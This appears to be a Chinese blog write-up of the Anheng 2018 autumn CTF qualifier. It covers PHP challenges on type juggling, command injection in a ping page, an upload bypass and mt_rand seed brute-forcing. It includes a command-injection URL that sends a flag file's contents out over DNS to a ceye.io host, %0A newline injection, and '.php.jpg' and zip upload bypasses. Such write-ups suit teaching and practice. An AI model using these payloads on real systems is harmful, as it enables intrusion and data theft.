1. 程式人生 > >安恆2018秋季資格賽writeup

安恆2018秋季資格賽writeup

這次資格賽主要都是老題目,網上都有writeup。這裡學習並彙總一下。 writeup按照博主解題順序敘述。

恐龍的奇怪特性

題目為

<?php
highlight_file(__FILE__);
ini_set("display_error", false); 
error_reporting(0); 
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<
9999999999) { echo 'A_A,too small'; } elseif ((string)$str>0) { echo 'A_A,too big'; } else{ echo file_get_contents('flag.php'); } ?>

ping

robots.txt看網頁,index.txt如下

<?php include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip
); system("ping ".$ip);

一開始以為是命令注入,但後來嘗試沒有回顯。嘗試用sed修改檔案,有沒有效果。 正確的解法是用DNS後門。

  • http://xxx.com:8080/index.php?ping='cat where_is_flag.php|sed s/[[:space:]]//g'.yulige.ceye.io

ping也能把你ping掛

  • %0A截斷命令
  • http://xxx:6664/ping.php?ip=0.0.0.0%0Adir
  • you_find_upload.php介面檢視原始碼,1.php.jpg這樣繞過
  • 將php檔案壓縮成zip
  • 1.zip.jpg上傳通過
  • mt_srand的引數在一定時可爆破mt_rand()

爆破程式碼如下

<?php
$t = $_GET['r'];
for ($i=1; $i<9000 ; $i++) { 
	mt_srand($i);
	$r = mt_rand();
	if($r == $t){
		echo "seed".$i."\n";
		break;
	}
}
mt_srand($i);
echo mt_rand()."<br>\n";
echo mt_rand();
?>